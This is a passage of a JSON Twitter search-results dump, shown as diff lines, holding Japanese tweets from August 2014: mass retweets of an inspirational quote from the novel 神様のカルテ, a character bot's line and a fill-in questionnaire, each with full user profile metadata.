"geo_enabled": false, + "verified": false, + "statuses_count": 664, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496646485266558977/W_W--qV__normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496646485266558977/W_W--qV__normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2709308887/1407244754", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874888817532900, + "id_str": "505874888817532928", + "text": "第一三軍から2個師団が北へ移動中らしい     この調子では満州に陸軍兵力があふれかえる", + "source": "如月克己", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1171299612, + "id_str": "1171299612", + "name": "如月 克己", + "screen_name": "kisaragi_katumi", + "location": "満州", + "description": "GパングのA型K月克己中尉の非公式botです。 主に七巻と八巻が中心の台詞をつぶやきます。 4/18.台詞追加しました/現在試運転中/現在軽い挨拶だけTL反応。/追加したい台詞や何おかしい所がありましたらDMやリプライで/フォロー返しは手動です/", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 65, + "friends_count": 63, + "listed_count": 0, + "created_at": "Tue Feb 12 08:21:38 +0000 2013", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 27219, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/3242847112/0ce536444c94cbec607229022d43a27a_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3242847112/0ce536444c94cbec607229022d43a27a_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874888616181760, + "id_str": "505874888616181760", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "徳田有希★応援隊", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2766021865, + "id_str": "2766021865", + "name": "徳田有希★応援隊", + "screen_name": "tokuda_ouen1", + "location": "", + "description": "女子中高生に大人気ww いやされるイラストを紹介します。 \r\nみんなで RTして応援しよう~♪ \r\n「非公式アカウントです」", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 123, + "friends_count": 978, + "listed_count": 0, + "created_at": "Mon Aug 25 10:48:41 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 210, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503857235802333184/YS0sDN6q_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503857235802333184/YS0sDN6q_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2766021865/1408963998", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874887802511360, + "id_str": "505874887802511361", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "腐女子の☆部屋", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744683982, + "id_str": "2744683982", + "name": "腐女子の☆部屋", + "screen_name": "fujyoshinoheya", + "location": "", + "description": "腐女子にしかわからないネタや、あるあるを見つけていきます。 \r\n他には、BL~萌えキュン系まで、腐のための画像を集めています♪ \r\n同じ境遇の人には、わかってもらえると思うので、気軽に RT & フォローお願いします☆", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 241, + "friends_count": 990, + "listed_count": 0, + "created_at": "Tue Aug 19 11:47:21 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 345, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501697365590306817/GLP_QH_b_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501697365590306817/GLP_QH_b_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744683982/1408448984", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874887009767400, + "id_str": "505874887009767424", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "萌え芸術★ラテアート", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2763178045, + "id_str": "2763178045", + "name": "萌え芸術★ラテアート", + "screen_name": "moe_rate", + "location": "", + "description": "ここまで来ると、もはや芸術!! 見てるだけで楽しい♪ \r\nそんなラテアートを、とことん探します。 \r\nスゴイと思ったら RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 187, + "friends_count": 998, + "listed_count": 0, + "created_at": "Sun Aug 24 16:53:16 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 210, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503586151764992000/RC80it20_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503586151764992000/RC80it20_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2763178045/1408899447", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874886225448960, + "id_str": "505874886225448960", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "全部★ジャニーズ図鑑", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2724158970, + "id_str": "2724158970", + "name": "全部★ジャニーズ図鑑", + "screen_name": "zenbu_johnnys", + "location": "", + "description": "ジャニーズのカッコイイ画像、おもしろエピソードなどを発信します。\r\n「非公式アカウントです」\r\nジャニーズ好きな人は、是非 RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 738, + "friends_count": 1838, + "listed_count": 0, + "created_at": "Mon Aug 11 15:50:08 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 556, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498859581057945600/ncMKwdvC_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498859581057945600/ncMKwdvC_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2724158970/1407772462", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:06 +0000 2014", + "id": 505874885810200600, + "id_str": "505874885810200576", + "text": "RT @naopisu_: 呼び方:\n呼ばれ方:\n第一印象:\n今の印象:\n好きなところ:\n家族にするなら:\n最後に一言:\n#RTした人にやる\n\nお腹痛くて寝れないからやるww\nだれでもどうぞ〜😏🙌", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2347898072, + "id_str": "2347898072", + "name": "にたにた", + "screen_name": "syo6660129", + "location": "", + "description": "", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 64, + "friends_count": 70, + "listed_count": 1, + "created_at": "Mon Feb 17 04:29:46 +0000 2014", + "favourites_count": 58, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 145, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/485603672118669314/73uh_xRS_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/485603672118669314/73uh_xRS_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2347898072/1396957619", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 14:19:31 +0000 2014", + "id": 505721480261300200, + "id_str": "505721480261300224", + "text": "呼び方:\n呼ばれ方:\n第一印象:\n今の印象:\n好きなところ:\n家族にするなら:\n最後に一言:\n#RTした人にやる\n\nお腹痛くて寝れないからやるww\nだれでもどうぞ〜😏🙌", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 856045488, + "id_str": "856045488", + "name": "なおぴす", + "screen_name": "naopisu_", + "location": "Fujino 65th ⇢ Sagaso 12A(LJK", + "description": "\ もうすぐ18歳 “Only One”になる /", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 267, + "friends_count": 259, + "listed_count": 2, + "created_at": "Mon Oct 01 08:36:23 +0000 2012", + "favourites_count": 218, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 1790, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496321592553525249/tuzX9ByR_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496321592553525249/tuzX9ByR_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/856045488/1407118111", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 23, + "favorite_count": 1, + "entities": { + "hashtags": [ + { + "text": "RTした人にやる", + "indices": [ + 47, + 56 + ] + } + ], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 23, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "RTした人にやる", + "indices": [ + 61, + 70 + ] + } + ], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "naopisu_", + "name": "なおぴす", + "id": 856045488, + "id_str": "856045488", + "indices": [ + 3, + 12 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" 